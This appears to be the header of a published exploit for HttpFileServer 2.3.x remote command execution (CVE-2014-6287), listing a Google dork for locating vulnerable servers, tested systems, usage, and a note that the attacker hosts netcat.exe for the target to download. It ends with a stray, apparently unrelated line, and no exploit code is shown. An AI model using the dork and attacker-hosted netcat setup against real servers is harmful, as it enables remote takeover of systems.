# Exploit Title: HttpFileServer 2.3.x Remote Command Execution
# Google Dork: intext:"httpfileserver 2.3"
# Date: 04-01-2016
# Remote: Yes
# Exploit Author: Avinash Kumar Thapa aka "-Acid"
# Vendor Homepage: http://rejetto.com/
# Software Link: http://sourceforge.net/projects/hfs/
# Version: 2.3.x
# Tested on: Windows Server 2008 , Windows 8, Windows 7
# CVE : CVE-2014-6287
# Description: You can use HFS (HTTP File Server) to send and receive files.
#     It's different from classic file sharing because it uses web technology to be more
#     compatible with today's Internet. It also differs from classic web servers because
#     it's very easy to use and runs "right out-of-the box". Access your remote files, over
#     the network. It has been successfully tested with Wine under Linux.

# Usage : python Exploit.py <Target IP address> <Target Port Number>
# EDB Note: You need to be using a web server hosting netcat (http://<attackers_ip>:80/bin/nc.exe).
# You may need to run it multiple times for success!

Thoughts on jamming in to 2 methods and updating execute_script:
